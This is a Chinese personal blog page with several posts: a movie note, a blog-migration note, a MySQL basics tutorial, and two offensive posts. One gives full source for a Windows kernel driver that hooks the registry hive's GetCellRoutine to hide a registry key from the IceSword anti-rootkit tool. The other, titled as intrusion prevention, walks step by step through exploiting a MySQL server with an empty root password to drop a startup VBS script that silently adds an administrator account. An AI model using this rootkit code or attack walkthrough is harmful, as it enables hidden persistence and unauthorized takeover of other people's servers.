Recent Posts

 
01Jan

08年第一帖,哈!

08年第一帖,哈!
发下本人08年最期待的2部影片!
<<功夫之王>><<木乃伊3>>

20Dec

调整了一下.wordpress

花点时间调整了一下blog,一直都没有时间搞,
一直都是CC在调整,很不好意思,就花点时间调整了一下.
原blog是asp的2s-space.是由CFC4N花时间转成php的wordpress ..
以淡绿色为blog的主题,大家都感觉不错.

旧blog的现在还可以访问地址:
http://223940.host1.shujuchaoshi.com/

旧版的cnxct blog的地址图片截图,首页

19Dec

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. #include <ntddk.h>
  2.  
  3. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
  4.  
  5. #define CM_KEY_INDEX_ROOT      0x6972         // ir
  6. #define CM_KEY_INDEX_LEAF      0x696c         // il
  7. #define CM_KEY_FAST_LEAF       0x666c         // fl
  8. #define CM_KEY_HASH_LEAF       0x686c         // hl
  9.  
  10. // 一些CM的数据结构,只列出用到的开头部分
  11. #pragma pack(1)
  12. typedef struct _CM_KEY_NODE {
  13.        USHORT Signature;
  14.        USHORT Flags;
  15.        LARGE_INTEGER LastWriteTime;
  16.        ULONG Spare;               // used to be TitleIndex
  17.        HANDLE Parent;
  18.        ULONG SubKeyCounts[2];     // Stable and Volatile
  19.        HANDLE SubKeyLists[2];     // Stable and Volatile
  20.        // ...
  21. } CM_KEY_NODE, *PCM_KEY_NODE;
  22.  
  23. typedef struct _CM_KEY_INDEX {
  24.        USHORT Signature;
  25.        USHORT Count;
  26.        HANDLE List[1];
  27. } CM_KEY_INDEX, *PCM_KEY_INDEX;
  28.  
  29. typedef struct _CM_KEY_BODY {
  30.        ULONG Type;                // "ky02"
  31.        PVOID KeyControlBlock;
  32.        PVOID NotifyBlock;
  33.        PEPROCESS Process;         // the owner process
  34.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
  35. } CM_KEY_BODY, *PCM_KEY_BODY;
  36.  
  37. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
  38.  
  39. typedef struct _HHIVE {
  40.        ULONG Signature;
  41.        PGET_CELL_ROUTINE GetCellRoutine;
  42.        // ...
  43. } HHIVE, *PHHIVE;
  44. #pragma pack()
  45.  
  46. // 需隐藏的主键名
  47. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
  48.  
  49. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
  50. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
  51.  
  52. PCM_KEY_NODE g_HideNode = NULL;
  53. PCM_KEY_NODE g_LastNode = NULL;
  54.  
  55. // 打开指定名字的Key
  56. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
  57. {
  58.        NTSTATUS status;
  59.        UNICODE_STRING uKeyName;
  60.        OBJECT_ATTRIBUTES oa;
  61.        HANDLE hKey;
  62.  
  63.        RtlInitUnicodeString(&uKeyName, pwcsKeyName);
  64.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
  65.        status = ZwOpenKey(&hKey, KEY_READ, &oa);
  66.        if (!NT_SUCCESS(status))
  67.        {
  68.            DbgPrint("ZwOpenKey Failed: %lx\n", status);
  69.            return NULL;
  70.        }
  71.  
  72.        return hKey;
  73. }
  74.  
  75. // 获取指定Key句柄的KeyControlBlock
  76. PVOID GetKeyControlBlock(HANDLE hKey)
  77. {
  78.        NTSTATUS status;
  79.        PCM_KEY_BODY KeyBody;
  80.        PVOID KCB;
  81.  
  82.        if (hKey == NULL) return NULL;
  83.  
  84.        // 由Key句柄获取对象体
  85.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
  86.        if (!NT_SUCCESS(status))
  87.        {
  88.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
  89.            return NULL;
  90.        }
  91.  
  92.        // 对象体中含有KeyControlBlock
  93.        KCB = KeyBody->KeyControlBlock;
  94.        DbgPrint("KeyControlBlock = %lx\n", KCB);
  95.  
  96.        ObDereferenceObject(KeyBody);
  97.  
  98.        return KCB;
  99. }
  100.  
  101. // 获取父键的最后一个子键的节点
  102. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
  103. {
  104.        // 获取父键的节点
  105.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
  106.        // 获取子键的索引
  107.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
  108.  
  109.        DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
  110.  
  111.        // 如果为根(二级)索引,获取最后一个索引
  112.        if (Index->Signature == CM_KEY_INDEX_ROOT)
  113.        {
  114.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  115.            DbgPrint("Index = %lx\n", Index);
  116.        }
  117.  
  118.        if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
  119.        {
  120.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
  121.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
  122.        }
  123.        else
  124.        {
  125.            // 一般叶索引,返回最后的节点
  126.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  127.        }
  128. }
  129.  
  130. // GetCell例程的钩子函数
  131. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
  132. {
  133.        // 调用原函数
  134.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);
  135.        if (pRet)
  136.        {
  137.            // 返回的是需要隐藏的节点
  138.            if (pRet == g_HideNode)
  139.            {
  140.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  141.                // 查询、保存并返回其父键的最后一个子键的节点
  142.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
  143.                DbgPrint("g_LastNode = %lx\n", g_LastNode);
  144.                // 隐藏的正是最后一个节点,返回空值
  145.                if (pRet == g_HideNode) pRet = NULL;
  146.            }
  147.            // 返回的是先前保存的最后一个节点
  148.            else if (pRet == g_LastNode)
  149.            {
  150.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  151.                // 清空保存值,并返回空值
  152.                pRet = g_LastNode = NULL;
  153.            }
  154.        }
  155.        return pRet;
  156. }
  157.  
  158. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
  159. {
  160.        DbgPrint("DriverUnload()\n");
  161.        // 解除挂钩
  162.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
  163.        return STATUS_SUCCESS;
  164. }
  165.  
  166. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
  167. {
  168.        ULONG BuildNumber;
  169.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
  170.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
  171.        HANDLE hKey;
  172.        PVOID KCB, Hive;
  173.  
  174.        DbgPrint("DriverEntry()\n");
  175.  
  176.        pDrvObj->DriverUnload = DriverUnload;
  177.  
  178.        // 查询BuildNumber
  179.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
  180.        DbgPrint("BuildNumber = %d\n", BuildNumber);
  181.  
  182.        // KeyControlBlock结构各版本略有不同
  183.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
  184.        switch (BuildNumber)
  185.        {
  186.            case 2195:     // Win2000
  187.                KeyHiveOffset = 0xc;
  188.                KeyCellOffset = 0x10;
  189.                break;
  190.            case 2600:     // WinXP
  191.            case 3790:     // Win2003
  192.                KeyHiveOffset = 0x10;
  193.                KeyCellOffset = 0x14;
  194.                break;
  195.            default:
  196.                return STATUS_NOT_SUPPORTED;
  197.        }
  198.  
  199.        // 打开需隐藏的键
  200.        hKey = OpenKeyByName(g_HideKeyName);
  201.        // 获取该键的KeyControlBlock
  202.        KCB = GetKeyControlBlock(hKey);
  203.        if (KCB)
  204.        {
  205.            // 由KCB得到Hive
  206.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
  207.            // GetCellRoutine在KCB中,保存原地址
  208.            g_ppGetCellRoutine = &Hive->GetCellRoutine;
  209.            g_pGetCellRoutine = Hive->GetCellRoutine;
  210.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
  211.            // 获取需隐藏的节点并保存
  212.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
  213.            // 挂钩GetCell例程
  214.            Hive->GetCellRoutine = MyGetCellRoutine;
  215.        }
  216.        ZwClose(hKey);
  217.  
  218.        return STATUS_SUCCESS;
  219. }
19Dec

经验总结:mysql 的一些基本应用

经验总结:mysql 的一些基本应用发布时间: 2006-10-16 10:07  
基本查询
SELECT语句用于查询数据库和SQL中的所有输出操作。

  1. SELECT c_u_name, email FROM cooya_users;

输出cooya_users表中所有行(或记录)的属性c_u_name和email的值。
如果需要所有属性,可以使用星号(*)的快捷方式。
SELECT * FROM cooya_users;
SELECT语句还可以输出不是数据库中的数据及可以用作简单的计算符。
SELECT curtime();
SELECT log(100)*4*pi();

WHERE子句
WHERE子句用作多数SELECT查询的一部分,它局限于检索匹配条件的行。
SELECT * FROM cooya_users WHERE c_u_id <= 3;
复杂一些的WHERE子句使用布尔操作符AND和OR,以及函数。
SELECT * FROM cooya_users WHERE c_u_name = 'melon' AND email='melon.cooya@gamil.com';
这将检索同时匹配两个条件的行。
SELECT c_u_id FROM cooya_users WHERE (c_u_name = 'melon' AND city LIKE 'shang%') OR email='melon.cooya@gmail.com';
这将查找c_u_name为melon且city以s打头的行,或者电子邮件地址为melon.cooya@gmail.com的顾客。
WHERE子句也是UPDATE和DELECT语句的常见组件。
UPDATE cooya_users SET c_u_name = 'cooya1' WHERE c_u_id = 2;
DELETE FROM cooya_users WHERE c_u_id = 2;

对输出排序和归组
ORDER BY
SELECT c_u_name FROM cooya_users WHERE gender='female' AND city='shanghai' ORDER BY c_u_name;
默认情况下,ORDER BY子句以升序(或ASC)排序。要以降序排序,可以使用DESC。
SELECT * FROM cooya_users WHERE city = 'shanghai' ORDER BY c_u_id DESC;
GROUP BY
GROUP BY子句与ORDER BY不同,因为它不为输出排序数据。相反,它在查询过程中就对数据进行排序,目的是为了归组或聚合。
SELECT city, COUNT(*) FROM cooya_users GROUP BY city;
该查询输出已排序的一列城市,以及居住在每个城市的顾客数COUNT。COUNT(*) FROM的作用是对每一组的行数进行计数。

DML(Data Manipulation Language,数据操纵语言)包含了所有用于操纵数据的SQL语句。下面4个语句形成DML语句集合:SELECT、INSERT、DELETE和UPDATE。本节先描述后3个语句。

插入数据
方法一:
INSERT INTO cooya_users VALUES (NULL, 'melon', 'female', 'melon.cooya@gmail.com', ' ');
方法二:
INSERT INTO cooya_users
SET c_u_name = 'cooya',
gender = 'female',
email = 'melon.cooya@gmail.com';

删除数据
SQL中的撤销和删除有很大区别。DROP用于删除表或数据库,而DELETE用于删除数据。
DELETE FROM cooya_users;
删除cooya_users表中的所有数据,但是不删除表。相反,撤销表将删除数据和表。
带WHERE子句的DELETE语句可以删除特定的行。
DELETE FROM cooya_users WHERE c_u_id = 1;

更新数据
可以使用与INSERT语句类似的语法更新数据。
UPDATE cooya_users SET email = lower(email);
UPDATE语句也常与WHERE子句一起使用。
UPDATE cooya_users SET city = 'shanghai' WHERE c_u_id = 1;

创建数据库:
mysql> CREATE DATABASE dbname;
为了处理数据库,命令解释器需要用户在能够发布SQL语句之前使用数据库。在MySql解释器中可以发布以下命令:
mysql> use dbname
以下省略命令例子的mysql>提示符。

创建表格:
CREATE TABLE cooya_users (
c_u_id int(5) default ‘0′ not null auto_increment,
c_u_name varchar(20) not null,
gender varchar(10) not null,
email varchar(30) not null,
city varchar(20),
PRIMARY KEY (c_u_id),
KEY names (c_u_name)
);
CREATE TABLE语句有3个部分:
在CREATE TABLE语句后面是一个自由形式的表名称——在本例是cooya_users。
开始圆括号后面是一个属性名、类型、和修饰字的列表。
属性列表后面是一列键,也就是定义哪些属性满足主键的唯一性约束,以及哪些属性将为了快速访问而加以索引。
更改表和索引:
添加索引:
ALTER TABLE cooya_users ADD INDEX cities (city);
删除索引:
ALTER TABLE cooya_users DROP INDEX cities;
用show显示数据库结构

SHOW DATABASES
 列出 My SQL DBMS 可访问的数据库。

SHOW TABLES
 显示已用 use 命令选定的数据库中的表。

SHOW COLUMNS FROM tablename
 显示属性、属性的类型、鍵信息、是否允许NULL、默认值,以及表的其他信息。
 例如:
  SHOW COLUMNS FROM customer
 显示 customer 表的属性信息。DESCRIBE table 产生相同的输出。

SHOW INDEX FROM tablename
 展示表中所有索引的详细信息,包括 PRIMARY KEY。
 例如:
  SHOW INDEX FROM customer
 显示有两个索引,即主索引和 names 索引。

SHOW STATUS
 报告 MYSQL DBMS 性能和统计的详细信息。

MySQL的转义字符“\”
MySQL识别下列转义字符:

\0
一个ASCII 0 (NUL)字符。
\n
一个新行符。
\t
一个定位符。
\r
一个回车符。
\b
一个退格符。
\’
一个单引号(“’”)符。
\ ”
一个双引号(“ “”)符。
\\
一个反斜线(“\”)符。
\%
一个“%”符。它用于在正文中搜索“%”的文字实例,否则这里“%”将解释为一个通配符。
\_ 一个“_”符。它用于在正文中搜索“_”的文字实例,否则这里“_”将解释为一个通配符。
注意,如果你在某些正文环境中使用“\%”或“\%_”,这些将返回字符串“\%”和“\_”而不是“%”和“_”。

★★
有几种方法在一个字符串内包括引号:
1、必须转义的:
一个字符串用单引号“’”来引用的,该字符串中的单引号“’”字符可以用“””方式转义。
一个字符串用双引号“ “”来引用的,该字符串中的“ “”字符可以用“ ” “”方式转义。
同时你也可以继续使用一个转义字符“\”来转义
2、可不转义的:
一个字符串用双引号“ “”来引用的,该字符串中的单引号“’”不需要特殊对待而且不必被重复或转义。同理,一个字符串用单引号“’”来引用的,该字符串中的双引号“ “”不需要特殊对待而且不必被重复或转义。

下面显示的SELECT演示引号和转义如何工作:

  1. mysql > SELECT 'hello', ' "hello "', ' " "hello " "', 'hel''lo', '\'hello';
  2. +----------+--------------+-------------------+----------+---------+
  3. | hello | "hello " | " "hello " " | hel'lo | 'hello |
  4. +----------+--------------+-------------------+----------+---------+
  5.  
  6. mysql > SELECT "hello ", "'hello' ", "''hello'' ", "hel " "lo ", "\ "hello ";
  7. +----------+----------+-----------+------------+-----------+
  8. | hello | 'hello' | ''hello'' | hel "lo | "hello |
  9. +---------+-----------+-----------+------------+-----------+
  10.  
  11. mysql > SELECT "This\nIs\nFour\nlines ";
  12. +--------------------+
  13. | This
  14. Is
  15. Four
  16. lines |
  17. +--------------------+
  18. ?>

★★
如果你想要把二进制数据插入到一个BLOB列,下列字符必须由转义序列表示:

NUL
ASCII 0。你应该用’\0′(一个反斜线和一个ASCII ‘0′)表示它。
\
ASCII 92,反斜线。用’\\’表示。

ASCII 39,单引号。用“\’”表示。

ASCII 34,双引号。用“\ “”表示。

19Dec

如何防止入侵:My SQL各种攻击方法大全

MYSQL用户ROOT密码为空时是一个很大的漏洞,在网上也有许多一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录,如果对方没有开IIS,那我们岂不没办法了??

后来,自己思索想到一个办法,且在测试的几台有此漏洞的机中均获得了成功,现将攻击方法公布如下:

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容

mysql>insert into a values (”set wshshell=createobject (”"wscript.shell”" ) ” ); mysql>insert into a values (”a=wshshell.run (”"cmd.exe /c net user zjl317 zjl317 /add”",0) ” ); mysql>insert into a values (”b=wshshell.run (”"cmd.exe /c net localgroup Administrators zjl317 /add”",0) ” );

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

7、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个VBS的脚本文件

  1. mysql>select * from a into outfile "c:\\\\docume~1\\\\alluse~1\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs";

我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意“\\”符号。

9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。